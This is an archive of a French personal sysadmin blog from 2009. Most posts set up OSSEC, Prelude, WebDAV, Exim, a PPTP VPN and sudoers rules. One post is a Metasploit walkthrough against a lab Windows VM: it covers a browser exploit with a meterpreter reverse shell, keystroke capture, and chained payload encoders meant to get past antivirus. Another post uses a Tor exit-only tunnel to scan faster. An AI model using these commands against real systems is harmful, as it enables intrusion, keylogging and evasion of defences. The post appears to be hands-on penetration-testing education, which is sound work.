Archive pour le ‘Administration’ catégorie

Tentative de Hack … quand les kikoolols attaquent!!!

11 octobre 2009

Bijour …

Un truc assez amusant dernièrement, une tentative de hack de mon site … la deuxième attaque « importante » que mon site subit, la première avait fait planter ma base de donnée … prelude (couplé à MySQL) avait reporté les 100 000 alertes de ModSecurity (sûrement l’utilisation d’un soft genre Acunetix ou …) causant un DoS sur 2 jours le temps que la base de données sur mon RPS à 4Meg/s d’écriture de disque puisse écrire les données ^^ ou comment s’auto-détruire à cause de ses propres systèmes de sécurité en « période d’attaque » xD.

Depuis j’avais installé le mod_evasive pour blacklister les IP en cas d’accès répété dans des délais très court au service HTTP, et OSSEC qui a la capacité de bannir des IP en cas d’erreurs répétées sur différent services (ssh, http,…), histoire de limiter le spam dans ma base de données.

Et donc sur ce coup-ci, l’attaque a durée très peu de temps (environ 10 secondes) :
prelude-scan

Avant de se terminer par un sympatique ban ip :

ddos

Au passage je ferais remarquer à 82.246.200.104 (un freenaute) que mon blog utilise la dernière version de WordPress qui peut être facilement téléchargeable sur le net pour ensuite trouver des failles dans le site en local et pirater le site en question sans avoir à le scanner, donnant la possibilité pour le propriétaire de site web en question de découvrir la tentative d’attaque et éviter d’avoir son IP Fixe °(^.^)° publié sous le tag « kikoololz featured with scanner ».

Sinon, je recommande OSSEC comme IPS pour la protection de sites web, c’est assez sympa, on peut à la fois le coupler avec prelude-manager pour centraliser et visualiser l’ensemble des tentatives d’attaques sur une seule page web, envoyer un mail à l’admin (voir plusieurs en définissant des domaines d’expertises) et blacklister les attaques (même petites ^^ je me suis déjà fait ban de mon serveur en tentant une simple SQL Inj. dans l’url du blog … oui j’ai rien d’autre à faire).

Voilà pour ce sublime week-end …

Sécuriser un blog WordPress par un IPS avec wpsyslog2 et ossec

23 septembre 2009

Adeptes de l’utilisation du bazooka pour tuer une mouche ? Ou de l’utilisation d’IDS/IPS pour sécuriser votre blog visité par 5 personnes par an ?? wpsyslog2 est l’extension WordPress faite pour vous.

Petite mise en bouche en image (contenu du syslog et screen du module dans wordpress) :

wpsyslog2wpsyslog1

Pour cela, il suffit d’installer la dernière version de l’IPS Ossec (qui peut être couplé avec le manager de prelude).

Ayant déjà installé prelude en suivant mon tuto (‘tention recursivité powaaa!!!), la manip a été la suivante :

apt-get install libprelude-dev
  1. wget http://www.ossec.net/files/ossec-hids-2.2.tar.gz
  2. tar -xvf http://www.ossec.net/files/ossec-hids-2.2.tar.gz
  3. cd ossec-hids-2.2/src
  4. make setprelude
  5. cd ..
  6. sh install.sh

(Pour ceux qui n’ont (et ne veulent) pas installer prelude, il faut juste faire le wget, le sh install.sh et installer le module wpsyslog2 sur votre blog)

Pour l’install.sh, choisir le mode « local », et installer le logiciel où vous voulez.
Ensuite pour accoupler la bestiole avec prelude :

screen -R manager
prelude-adduser registration-server prelude-manager
CTRL+A puis D
screen -R register
prelude-adduser register OSSEC "idmef:w" localhost --uid ossec --gid ossec
CTRL+A puis D
screen -r manager

Attendre la fin de la création de la clé et suivre la manipulation pour le one-time-password généré (voir mon premier tuto pour prelude), puis modifier la configuration de ossec pour sortir les logs dans prelude.
Ajouter :

<prelude_output>yes</prelude_output>
  <prelude_profile>OSSEC</prelude_profile>
  <prelude_log_level>6</prelude_log_level>

Dans le fichier /var/ossec/etc/ossec.conf, entre les balises global.
Puis démarrer par un sympatique /var/ossec/bin/ossec-control start (ou suivant l’install /etc/init.d/ossec start) qui doit renvoyer ceci :

Starting OSSEC HIDS v2.2 (by Trend Micro Inc.)...
21 Sep 15:33:36 (process:25711) INFO: Connecting to 127.0.0.1:4690 prelude Manager server.
21 Sep 15:33:36 (process:25711) INFO: TLS authentication succeed with Prelude Manager.
Started ossec-maild...
Started ossec-execd...
Started ossec-analysisd...
Started ossec-logcollector...
Started ossec-syscheckd...
Started ossec-monitord...
Completed.

Pour montrer qu’il s’est accouplé avec prelude (you’re 4 53X M4ch1N3!!!!).

Ensuite, il suffit d’installer le plugins wpsyslog2 sur votre blog (comme n’importe quel autre plugins), et hop go ban da world ;) Le must … ça detecte aussi les commentaires refusés (spam), et on peut mettre en place des règles pour bannir les spammeurs ;)

Alors bon … pourquoi préférer Ossec vis-à-vis de prelude-lml ?

Pour ma part (étant un gros noob sur la question ^^), l’intérêt étant la possibilité offerte par défaut d’Ossec de ban les ip incriminés dans les logs (à partir d’un certain niveau de sévérité), alors que prelude se contente de logger les alertes (pas de réponses actives … c’est à peu près la différence entre un IDS avec le D de Détection et IPS avec le P de Prévention qui en plus de détecter, met en place des moyens plus ou moins complexe (ban ^^) pour bloquer les accès suivant de la source).

Pourquoi cette différences entre un IPS et un IDS ? (J’en sais rien ;) ), dans certain cas il vaut mieux alerter et ne rien faire (genre un système bancaire qui va commencer à drop les transactions de certains clients ça le fait pas … quoique ;) ).

Bé voilà bloggez bien ;)

PS: Un des autres trucs sympa, c’est les check system qui vérifient si des fichiers de configurations ont été modifiés depuis le dernier check (modifications du fichier host, de la config d’apache, des certificats d’openvpn, …). Si vous êtes plusieurs à administrer un serveur, ça peut être sympa pour avoir le suivi de l’administration de la bête.

Installer la dernière version de firefox et firebug

10 septembre 2009

Bonsoir …

En lisant cette article, je suppose que vous utilisez au minimum Debian voir pire … Ubuntu, et que vous n’avez pas peur de mettre en périle votre vie numérique …
Je rappel juste que l’exécution de certaine commandes exécutées dans cet article peuvent être dangereuse ou pas … ça dépend de vous ;) Dans tout les cas, c’est votre responsabilité!! (Ze disclaimheure 2 ouf!!!)

Vous êtes suicidaire, vous adorez le risque et aimez vivre dangereusement, alors cette astuce est fait pour vous :

Pour utiliser la version pre-alpha-en-etat-anté-embryonnaire de firefox 3.7 (qui porte le doux nom de « Mine Field » … Champ de mine !?), il vous suffit simplement d’installer le dépôt suivant (pour Jaunty) :

echo "deb http://ppa.launchpad.net/ubuntu-mozilla-daily/ppa/ubuntu jaunty main" >> /etc/apt/sources.list
sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com EF4186FE247510BE
sudo apt-get install firefox-3.7

Il s’agit, comme vous l’aurez surement remarqué, d’un dépôt entretenue par un bot qui créé des paquets depuis le svn (d’où les noms à la star wars du genre hg20090910r32360). Donc si vous avez plusieurs update de firefox par jour … c’est normal!!! xD.

Et pis là comme tout développeur web, on tente d’installer l’addon indispensable : Firebug et … horreur, elle n’existe pas!!!

Alors bon ben comme des crados on peut remédier au problème façon L337 H4X0R du 17ème siècle :

cp -r ~/.mozilla/firefox/*/extensions/firebug@software.joehewitt.com/ ~/.mozilla/firefox-3.7/*/extensions/firebug@software.joehewitt.com/
sed -i "s/3.5/3.7/g" ~/.mozilla/firefox-3.7/*/extensions/firebug@software.joehewitt.com/install.rdf

Ou continuer sur la technique du geek suicidaire et installer … la version svn de firebug !! Ben ouai on est des noobs ou on l’est pas!!! ;)

svn checkout http://fbug.googlecode.com/svn/branches/firebug1.5/ ~/fbug
cd ~/fbug
zip -r firebug-svn.xpi *
firefox-3.7 firebug-svn.xpi
cd .. && rm -rf fbug/

Et vous voilà avec un firefox plus rapide que le 3.5 (plus instable parait-il, mais ça n’a pas planté pour moi …), et avec la nouvelle version de firebug … plus rapide elle-aussi. (Faut encore que j’arrive à faire fonctionner firephp ^^ c’est pas gagné).

Bonne nuit ;)

Utiliser Tor à la vitesse de la lumière ;)

12 août 2009

Kikoo …
En suivant un peu la defcon, j’ai trouvé un tuto expliquant l’utilisation de tor pour masquer son identité lors de scan, pour plus de rapidité, l’auteur faisait sauter les deux premières nodes pour ce connecter directement à la dernière, permettant plusieurs choses :

  1. Choisir son ip de sortie (déjà possible avec des softs comme vidalia, tork, …)
  2. Choisir la rapidité « indirect » du service en réduisant grandement la latence (dû aux connections entre les nodes (résolution dns, établissement du chiffrement entre chaque node, …))
  3. Choisir la rapidité « direct » du service via l’utilisation des serveurs les plus puissant de la « tor status list« 

Je croyais pas trop en la rapidité de la chose, mais en choisissant l’ip : 192.251.226.206, ma connexion au net était quasiment instantannée!! enfin comme si j’avais pas de proxy quoi (ça vaut pas non plus mon VPN chez OVH mais bon;))

Donc, la manip’  (vive ubuntu!!!):

wget http://www.thoughtcrime.org/software/tortunnel/tortunnel-0.2.tar.gz
  1. apt-get install libboost1.35-dev libssl-dev
  2. tar -xvf tortunnel-0.2.tar.gz
  3. cd tortunnel-0.2
  4. ./configure &amp;&amp; make &amp;&amp; ./torproxy 192.251.226.206

Il suffira ensuite de configurer votre navigateur pour utiliser le proxy sock à l’adresse 5060.
Le seul ennui : la connexion à google est impossible (comme pour toutes les sorties de tor d’ailleurs :s), ça permet de découvrir d’autres moteurs de recherche :p (cuil,bing, yahoo!!).

Bon bien sûr, on perd l’essentiel du réseau tor, à savoir « l’intraçabilité » (relative bien sûr), mais bon c’est pas comme si big brother existait ;) .

Ce genre de soft pourrait détruire le réseau tor (en surchargeant inutilement les noeuds de sorties), donc utilisez-le avec parcimonie (c’est ma copine ;) ^^ pas taper!!).

Partage et ecriture de fichiers sur protocole HTTP

12 août 2009

Bijour,

Encore un truc inutile mais assez intéressant ^^. Tout le monde connait le protocole HTTP pour télécharger des pages web, voir des fichiers, mais on peut aussi écrire des fichiers sur le protocole HTTP via webDAV (supporté de base par windows … si c’est pas la classe ^^).

Bon bien sûr, il existe d’autre protocoles pour partager des fichiers (ftp, p2p, smb), mais webDAV a ses avantages :

  • Gestion de la concurrence des accès (plusieurs personnes ne pourront pas modifier le même fichier).
  • Possibilité d’utiliser des certificats SSL pour chiffrer les transferts (super utile!!).
  • Rapide et sécurisé (ça tourne sur un serveur apache) et ça permet d’éviter d’avoir d’autre ports ouvert sur sa machine (genre ftp, …).

Niveau configuration, y’a pas grand chose à faire, il suffit de mettre les lignes suivantes dans un fichier de conf d’apache :

Alias /kikoosfiles /dossier/a/partager/
  1.     <Location /kikoosfiles>
  2.             Dav On
  3.             AuthType Basic
  4.             AuthName "Restricted Files"
  5.             AuthUserFile /etc/apache2/paccess.htpasswd
  6.             Require valid-user
  7.    </Location>

Il faut juste créer le htpasswd :

  1. htpasswd -c /etc/apache2/paccess.htpasswd votreLogin

On peut ensuite tester l’accès :

Sous linux :

webdavSous windows, il suffit d’ouvrir l’url comme dossier web (Alt+O) en donnant l’url.

Bien sûr, si vous avez le modsecurity, vos logs vont se remplir de pas mal de chose, il faut donc désactiver certaines vérifications faites par le modsecurity, ce qui donne la configuration suivante :

Alias /kikoosfiles /dossier/a/partager/
  1.     <Location /kikoosfiles>
  2.             Dav On
  3.             AuthType Basic
  4.             AuthName "Restricted Files"
  5.             AuthUserFile /etc/apache2/paccess.htpasswd
  6.             Require valid-user
  7.             SecRuleRemoveByMsg "Invalid HTTP Request Line"
  8.             SecRuleRemoveByMsg "Method is not allowed by policy"
  9.             SecRuleRemoveByMsg "Request Missing an Accept Header"
  10.             SecRuleRemoveByMsg "HTTP header is restricted by policy"
  11.    </Location>

Si vous avez un certificat ssl, vous saurez facilement comment le mettre en place pour chiffrer la connexion. Et hop, une connexion chiffrée sur http :

dav-ssl

Vivre dangeureusement sur ubuntu ou pas (visudo)

2 août 2009

Bijour à vous …

Attention, l’execution de ces commandes peut se révéler dangeureuses voir suicidaire suivant vos connaissances dans le domaine.

Aujourd’hui un truc à la Jean-Kevin, suite à la lecture d’un shellcode de milw0rm (je m’occupe comme je peux :P ) : la suppression du mot de passe au sudo sur Ubuntu (ou tout OS prenant embarquant le sudoku).

pour modifier la chose, une commande :

sudo visudo

Qui retourne ceci :

# /etc/sudoers
  1. #
  2. # This file MUST be edited with the 'visudo' command as root.
  3. #
  4. # See the man page for details on how to write a sudoers file.
  5. #
  6.  
  7. Defaults        env_reset
  8.  
  9. # Host alias specification
  10.  
  11. # User alias specification
  12.  
  13. # Cmnd alias specification
  14.  
  15. # User privilege specification
  16. root    ALL=(ALL) ALL
  17.  
  18. # Uncomment to allow members of group sudo to not need a password
  19. # (Note that later entries override this, so you might need to move
  20. # it further down)
  21. # %sudo ALL=NOPASSWD: ALL
  22.  
  23. # Members of the admin group may gain root privileges
  24. %admin ALL=(ALL) ALL

Rapide explication :
les noms des utilisateurs s’écrivent directement, les groupes doivent être préfixé d’un %.
L’ajout de nouvelle règles se fait à la FIN du fichier.

Quelques règles sympa :
Suppression de la demande de mot de passe pour l’utilisateur kikoo :

kikoo ALL=(ALL) NOPASSWD: ALL

Ok, c’est un peu gros (si on est le seul à utiliser la machine, ça peut aller, mais faut bien faire gaffe au commande que l’on execute, car l’execution est DIRECTE, plus de demande de mot de passe).

Donc on peut affiner les règles :
Suppression de la demande de mot de passe lors de l’execution d’une commande specifiée :

%root ALL=NOPASSWD: /usr/bin/whoami

Et hop, un coup de sudo whoami renvoi root sans demander de mot de passe.
ça peut être utile pour le système de mise à jour d’ubuntu, ce qui donne :

%root ALL=NOPASSWD: /usr/bin/update-manager

On peut aussi faire des trucs assez sympa selon (le lien)
La suppression de l’accès à un interpreteur de commande pour certain utilisateur en mode root (genre interdire à sa petite-copine l’utilisation d’un terminal en mode root ^^).

Cmnd_Alias TOTAL=/bin/bash, /bin/sh
  1. kikoo ALL=(ALL) ALL, !TOTAL

Ce qui donne :
kikoo@WillOwnDaWorld:~$ sudo bash
[sudo] password for kikoo:
Sorry, user kikoo is not allowed to execute ‘/bin/bash’ as root on WillOwnDaWorld.
kikoo@WillOwnDaWorld:~$

Et hop, amusez-vous bien ;)

Configurer un serveur SMTP et cacher sa bannière (Exim4)

1 août 2009

Bijour à vous …

Today, la configuration d’un serveur de mail exim4 (le serveur smtp par défaut de Debian … ), à la base je voulais juste m’amuser à filer une astuce pour cacher la bannière du serveur (Il est fufu mon serveur smtp!!! Gaffe au backstab ;) ), et pis, prendre des screenshots, c’est pas compliqué, donc ben vous aurez droits à la version complète du Grand LoupZeur … si c’est pas la lose ça :D . (Mon but est seulement de configurer le smtp, pas de truc anti-spam et …, y’a plein de tutos pour ça)

Sinon, quelques liens sur des tutos d’installation d’exim4 :

Pour l’installation, la démarche à suivre est simple …

apt-get install exim4
dpkg-reconfigure exim4-config

Pour un dédié j’ai choisit la config internet (comme j’ai une ip fixe, je n’ai pas besoin de smarthost):
config-internet
Ensuite, le nom de domaine utilisé :
fqdn-exim4
L’ip sur laquelle on écoute :
ip-exim4
Les domaines pour lesquelles on acceptes les mails (noté la séparation des domaines par :) :
mail-destination-accepte
Les relais que l’on autorise à envoyer des mails (NE JAMAIS AUTORISER TOUT LES DOMAINES, c’est le principal vecteur de spam)
relay-autorise-exim4
et la même choses pour les ip (autorisé les ips local, si vous êtes dans un réseau local).
relay-ip
Les requêtes DNS (pour ma part j’ai mis non comme j’ai un serveur DNS local normalement, ça ne pose pas de problème, à part si le DNS tombe, tous les mails seront mis dans la queue … ça m’est arrivé suite à la « sécurisation » de mon serveur DNS ;) j’ai oublié d’autoriser 127.0.0.1 à faire des requêtes DNS :p ololz le Jean-Kevin!!!! ).
dns-exim4
Le maildir (pour ma part, /var étant plus petit que /home, pour gagner de la place je l’ai mis dans le repertoire utilisateur).
le-maildir
et c’est la fin ^^, on demande le split config, c’est plus simple pour le noob comme moi de comprendre la configuration du soft :
split-config-exim4

Bon donc voilà, l’ennui, c’est que lorsque l’on se connecte en telnet sur le port 25 de mon serveur, exim donne directement le nom du logiciel et sa version (sacrilège!!!).

Après avoir cherché un petit moment … voici l’astuce du Père GG :
Ouvrir le fichier /etc/exim4/conf.d/main/02_exim4-config_options (avec un éditeur plein de charme genre vi ^^).
et modifier les dernières lignes :

MAIN_SMTP_BANNER = "${primary_hostname} ESMTP Exim ${version_number} (Debian package MAIN_PACKAGE_VERSION) ${tod_full}"
smtp_banner = $smtp_active_hostname ESMTP Exim $version_number $tod_full

pour quelles ressemblent à ceci :

MAIN_SMTP_BANNER = "${primary_hostname}"
smtp_banner = $smtp_active_hostname

Et désormais lors de la connexion en telnet à la bête, ça retourne seulement le nom de ma machine (comme c’est le seul truc que les spammeurs/hackers connaissent déjà, on ne lui apprend donc rien) :

kikoo@WillOwnDaWorld:~$ telnet gaetan-grigis.eu 25
Trying mon.ip.a.moi...
Connected to gaetan-grigis.eu.
Escape character is '^]'.
220 r22686.ovh.net
quit
221 r22686.ovh.net closing connection
Connection closed by foreign host.

Et voilà, sinon, pour les petits désagrément, les stats de tentatives d’utilisation de mon serveur en tant que relais publique :
spam-exim4
En rouge, ce sont les mails bloqués qui n’appartiennent pas à mon domaine … je vais peut-être créer une liste d’ip à bannir ^^.

Et c’est la fin … go spam Da Worldz ;)

Serveur VPN en Point-to-Point avec pépétépédé ??

28 juillet 2009

Bonsoir …

Excusez-moi pour le titre … j’étais pas inspiré :p, il s’agit en fait du daemon pptpd et non de la question « pépé t’est pd ? ».
Donc voilà, avec Hadopi, on ne présente plus les VPNs mais bon … leurs utilités sont multiples :

  • Accéder à des réseaux privés d’entreprise (pour faire du télétravail, …)
  • Obtenir une autre ip (fixe ou non) pour faire des choses orthodoxes ou pas
  • Authentifier/Chiffrer des connexions
  • … ?

Pour l’installer … très simple :

apt-get install pptpd

Ensuite, un peu de configuration s’impose, il faut ouvrir le fichier /etc/pptpd.conf :
et décommentez :

#localip 192.168.0.1
#remoteip 192.168.0.234-238,192.168.0.245

Ou si votre réseau local utilise déjà l’adresse en question, changer les adresses du réseau pour un truc du genre :

localip 10.0.0.1
remoteip 10.0.0.234-238,10.0.0.245

Une fois le service démarré, il faut ouvrir le port 1723 du firewall et autoriser le protocole GRE (et pas GRRRRR!), on peut aussi rajouter le forwarding et le postrouting pour accéder au net, ce qui donne pour moi :

/sbin/iptables -A INPUT -p tcp -i eth0 --dport 1723 -j ACCEPT
/sbin/iptables -A INPUT -p gre -j ACCEPT
/sbin/iptables -t nat -A POSTROUTING -o eth0 -s 10.0.0.0/24 -j SNAT --to mon.ip.a.moi
echo 1 > /proc/sys/net/ipv4/ip_forward

Vous pouvez ensuite modifier les options du serveur :
Personnellement je vous conseil au moins de changer les DNS, et de changer le système d’authentification/chiffrement, via l’ajout des lignes suivantes à la fin du fichier : /etc/ppp/options

ms-dns 10.0.0.1
refuse-pap
refuse-chap
refuse-mschap
require-mschap-v2
require-mppe-128

Et maintenant, les comptes d’accès dans le fichier /etc/ppp/chap-secrets, le format est le suivant :

# client        server  secret                  IP addresses
login            pptpd   password              *

Vous pouvez remplacer * par une ip local, si vous voulez donner une IP fixe à un utilisateur et bien sûr, il faut changer login par votre login et password et votre mot de passe.

Reste plus qu’à redémarrer la chose : /etc/init.d/pptpd restart

Et maintenant, un client pour tester :

apt-get install network-manager-pptp

Puis :
config1
modif
Une fois le VPN en place une magnifique icone ce met en place :
vpnok
Et voilà vous pouvez pinger votre machine (on prend son pied comme on peux hein ;) ) sur l’adresse 10.0.0.1 (pour moi).

Metasploit et Meterpreter pour du piratage facile ?

14 juillet 2009

Bijour à vous …

Aujourd’hui, un petit article pour introduire (ou pas) metasploit (un framework pour tester la vulnérabilité des machines sur son réseau ou ailleurs ^^) et meterpreter (qui permet l’utilisation de script pour automatiser certain truc), suite à la lecture d’un sympatique article, qui montrait comment se connecter à une machine windows via l’utilisation de deux payloads, la première pour executer la deuxième en différé et ainsi sortir du logiciel planté (la faille exploitée faisant planter IE7, on perdait donc la connexion à la machine), je ne vais pas vous faire un copier/coller de l’article en question, mais seulement montrer quelques commandes et outils sympa pour utiliser la suite metasploit.

Donc voilà, sous linux, il suffit :

  • D’installer ruby : apt-get install ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygem
  • De checkout ce dépot svn : http://metasploit.com/svn/framework3/trunk/

Voilà, nous somme prêts à : conquérir le monde / devenir un lamerz / mettre une dérouillé à ses pôtes à la prochaine lan party rayez les mentions inutiles.

Il vous faut bien entendu plusieurs machines sur votre réseau local, ou une machine virtuelle qui sera la cible (chez moi une machine windows répondant au doux nom de 192.168.0.18) et mon foudre de guerre (un Amstrad 6128 …) répondant au doux nom de 192.168.0.15.

Une utilisation plutôt générique de la bestiole ce fait ainsi :

kikoo@WillOwnDaWorld:~/Documents/SVN/Metasploit3$ sudo ./msfconsole
  1. [sudo] password for kikoo:
  2.  
  3.                                   _       _
  4.              _                   | |     (_)_
  5.  ____   ____| |_  ____  ___ ____ | | ___  _| |_
  6. |    \ / _  )  _)/ _  |/___)  _ \| |/ _ \| |  _)
  7. | | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
  8. |_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
  9.                            |_|
  10.  
  11.        =[ msf v3.3-dev
  12. + — –=[ 324 exploits – 221 payloads
  13. + — –=[ 20 encoders – 6 nops
  14.        =[ 103 aux
  15.  
  16. msf &gt; <strong>use exploit/windows/browser/msvidctl_mpeg2</strong>

Ici on charge l’exploit msvidtcl_mpeg2 (qui n’est pas encore corrigé par Miss Crosoft)

  1. msf exploit(msvidctl_mpeg2) &gt; <strong>set PAYLOAD windows/meterpreter/reverse_tcp</strong>

Ici on choisit la charge, pour ma part : un bon vieux BFG / 50mm pour Gatlin / une connexion tcp inverse (rayez les mentions inutiles ;) ) qui permet de contourner les firewalls/routeurs basique

  1. PAYLOAD =&gt; <strong>windows/meterpreter/reverse_tcp</strong>
  2. msf exploit(msvidctl_mpeg2) &gt; <strong>show options</strong>

On mat les options, que l’on peut modifier via les set plus bas

Module options:
  1.  
  2.    Name     Current Setting  Required  Description
  3.    —-     —————  ——–  ———–
  4.    SRVHOST  0.0.0.0          yes       The local host to listen on.
  5.    SRVPORT  8080             yes       The local port to listen on.
  6.    SSL      false            no        Use SSL
  7.    URIPATH                   no        The URI to use for this exploit (default is random)  
  8.  
  9. Payload options (windows/meterpreter/reverse_tcp):
  10.  
  11.    Name      Current Setting  Required  Description
  12.    —-      —————  ——–  ———–
  13.    EXITFUNC  process          yes       Exit technique: seh, thread, process
  14.    LHOST                      yes       The local address
  15.    LPORT     4444             yes       The local port                        
  16.  
  17. Exploit target:
  18.  
  19.    Id  Name
  20.    –  —-
  21.    0   Windows XP SP0-SP3 / IE 6.0 SP0-2 &amp; IE 7.0  
  22.  
  23. msf exploit(msvidctl_mpeg2) &gt; <strong>set SRVHOST 192.168.0.15</strong>
  24. SRVHOST =&gt; 192.168.0.15
  25. msf exploit(msvidctl_mpeg2) &gt; <strong>set SRVPORT 80</strong>
  26. SRVPORT =&gt; 80
  27. msf exploit(msvidctl_mpeg2) &gt; <strong>set URIPATH kikoo</strong>
  28. URIPATH =&gt; kikoo
  29. msf exploit(msvidctl_mpeg2) &gt; <strong>set LHOST 192.168.0.15</strong>
  30. LHOST =&gt; 192.168.0.15

Maintenant que j’ai set mes ips et port, je peux donc lancer l’exploit …

msf exploit(msvidctl_mpeg2) > exploit
  1. [*] Exploit running as background job.
  2. msf exploit(msvidctl_mpeg2) &gt;
  3. [*] Handler binding to LHOST 0.0.0.0
  4. [*] Started reverse handler
  5. [*] Using URL: http://192.168.0.15:80/kikoo
  6. [*] Server started.

A partir de maintenant, si une machine sous windows se connecte à notre serveur sur le port 80 (http) avec Internet Explorer, pas mal de chose bizzare vont ce produire ^^.
Ce qui va d’ailleurs ce produire :

[*] Sending HTML to 192.168.0.18:1100…
  1. [*] Sending exploit to 192.168.0.18:1100
  2. [*] Sending GIF to 192.168.0.18:1100
  3. [*] Transmitting intermediate stager for over-sized stage…(216 bytes)
  4. [*] Sending stage (718336 bytes)
  5. [*] Meterpreter session 1 opened (192.168.0.15:4444 -&gt; 192.168.0.18:1102)

Ici, metasploit nous indique, qu’une session a pu être ouverte sur la machine distante … je peux ouvrir la session en question en tapant la commande suivante :

msf exploit(msvidctl_mpeg2) > sessions -i 1
  1.  
  2. [*] Starting interaction with 1

A partir de maintenant, je peux utiliser l’ensemble des scripts fournit par meterpreter (taper help pour de l’aide)

meterpreter > help
  1.  
  2. Core Commands
  3. =============
  4.  
  5.     Command       Description
  6.     ——-       ———–
  7.     ?             Help menu
  8.     background    Backgrounds the current session
  9.     channel       Displays information about active channels
  10.     close         Closes a channel
  11.     exit          Terminate the meterpreter session
  12.     help          Help menu
  13.     interact      Interacts with a channel
  14.     irb           Drop into irb scripting mode
  15.     migrate       Migrate the server to another process
  16.     quit          Terminate the meterpreter session
  17.     read          Reads data from a channel
  18.     run           Executes a meterpreter script
  19.     use           Load a one or more meterpreter extensions
  20.     write         Writes data to a channel                    
  21.  
  22. Stdapi: File system Commands
  23. ============================
  24.  
  25.     Command       Description
  26.     ——-       ———–
  27.     cat           Read the contents of a file to the screen
  28.     cd            Change directory
  29.     download      Download a file or directory
  30.     edit          Edit a file
  31.     getlwd        Print local working directory
  32.     getwd         Print working directory
  33.     lcd           Change local working directory
  34.     lpwd          Print local working directory
  35.     ls            List files
  36.     mkdir         Make directory
  37.     pwd           Print working directory
  38.     rmdir         Remove directory
  39.     upload        Upload a file or directory                
  40.  
  41. Stdapi: Networking Commands
  42. ===========================
  43.  
  44.     Command       Description
  45.     ——-       ———–
  46.     ipconfig      Display interfaces
  47.     portfwd       Forward a local port to a remote service
  48.     route         View and modify the routing table        
  49.  
  50. Stdapi: System Commands
  51. =======================
  52.  
  53.     Command       Description
  54.     ——-       ———–
  55.     execute       Execute a command
  56.     getpid        Get the current process identifier
  57.     getuid        Get the user that the server is running as
  58.     kill          Terminate a process
  59.     ps            List running processes
  60.     reboot        Reboots the remote computer
  61.     reg           Modify and interact with the remote registry
  62.     rev2self      Calls RevertToSelf() on the remote machine
  63.     shutdown      Shuts down the remote computer
  64.     sysinfo       Gets information about the remote system, such as OS  
  65.  
  66. Stdapi: User interface Commands
  67. ===============================
  68.  
  69.     Command        Description
  70.     ——-        ———–
  71.     enumdesktops   List all accessible desktops and window stations
  72.     idletime       Returns the number of seconds the remote user has been idle
  73.     keyscan_dump   Dump they keystroke buffer
  74.     keyscan_start  Start capturing keystrokes
  75.     keyscan_stop   Stop capturing keystrokes
  76.     setdesktop     Move to a different workstation and desktop
  77.     uictl          Control some of the user interface components

Voilà l’ensemble des choses plutôt sympa que fournit l’outil, pour ma part, j’ai testé plusieurs trucs :
La récupération des informations sur la machine et ses interfaces IP, le genre de truc inintéressant … :

meterpreter > ipconfig
  1.  
  2. MS TCP Loopback interface
  3. Hardware MAC: 00:00:00:00:00:00
  4. IP Address  : 127.0.0.1
  5. Netmask     : 255.0.0.0
  6.  
  7. Carte AMD PCNET Family Ethernet PCI – Miniport d'ordonnancement de paquets
  8. Hardware MAC: 08:00:27:ac:2e:b6
  9. IP Address  : 192.168.0.18
  10. Netmask     : 255.255.255.0
  11. meterpreter &gt; <strong>sysinfo</strong>
  12. Computer: ORDINATEUR
  13. OS      : Windows XP (Build 2600, Service Pack 2).

Puis l’utilisation du sniffer … déjà plus intéressant :

meterpreter > keyscan_start
  1. Starting the keystroke sniffer…
  2. meterpreter &gt; <strong>keyscan_dump</strong>

Pour afficher ce qui a été tapé au clavier (ici n’importe quoi)

Dumping captured keystrokes…
  1. dgdf        ki    C/  Progr          8Sys          Com              8

Sinon, d’autre commande sont sympa comme :
upload « nom du fichier » qui permet d’uploader des fichiers sur la machines cible
download « nom du fichier » qui permet de télécharger des fichiers depuis la machine cible
kill, reboot, reg (ça se devine). Et aussi l’utilisation de run avec le scheduleme (dans le premier lien) qui est super intéressant dans le cadre de l’utilisation de la faille exploité par cette article, et d’autre aussi, pour garder un backdoor de secours en cas de fermeture/redémarrage du soft planté par l’exploit.

Mais voilà … vous avez suivi ces quelques commandes sur une machine windows avec un antivirus plus ou moins à jour et il râle pas mal (si il ne râle pas … c’est que y’a un problème ^^).
C’est naze et inutile ton truc 2G … et non, les développeurs l’avait prévu, pour créer des payloads qui passent les antivirus, il suffit de blinder les charges.

Blinder les charges avec l’outil msfencoder et msfpayload :

  1. ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.15 LPORT=4444 |./msfencode -t exe -o rmeter.exe

Pour le moment, cette commande ne fait qu’un executable à partir de la payload reverse_tcp du meterpreter avec qui se connectera sur 192.168.0.15 sur le port 4444, pour le moment, l’antivirus continuera de raler … mais ce qu’il y a de bien, c’est que l’on peut piper les msfencode en raw. (oh la brute :p)

ce qui peut donner ce genre de truc :

kikoo@WillOwnDaWorld:~/Documents/SVN/Metasploit3$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.15 LPORT=4444 | ./msfencode -e x86/shikata_ga_nai -t raw | ./msfencode -e x86/fnstenv_mov -t raw | ./msfencode -t exe -o rmeter.exe
  1. [*] x86/alpha_mixed succeeded with size 62 (iteration=1)
  2. [*] x86/shikata_ga_nai succeeded with size 89 (iteration=1)
  3. [*] x86/fnstenv_mov succeeded with size 114 (iteration=1)
  4. [*] x86/shikata_ga_nai succeeded with size 141 (iteration=1)

Qui permettra d’encoder notre payload dans quelques trucs différent, ici, d’abord en texte pour passer les IDS qui chercherait des NOPs, ensuite du shikata pour rire, du fnstenv pour rajouter de la complexité, et de nouveau un coup de shikata parce qu’il le vaut bien.
Bien sûr, si vous êtes inspiré, vous pouvez toujours chercher d’autre truc dans le dossier « modules/encoders/x86/ » du dossier de metasploit pour trouver d’autre encoder et les chainer.

La question est maintenant … pourquoi un tel logiciel existe ??
Il y a plusieurs raisons … (la domination du monde par les scriptkiddies et kikoolol n’en faisant pas partie :s).
Permettre à des administrateurs de tester la vulnérabilité des machines/softs qui trainent sur leurs réseaux, et ce plutôt facilement, le framework n’étant pas dédié à être « stealth » vis-a-vis des antivirus, l’utilisation du logiciel pour le piratage d’un pc « hors de controle » (appartenant à quelqu’un de non consentant ^^) est plutôt limité (à part si l’on développe son propre encodage de payload et là …)

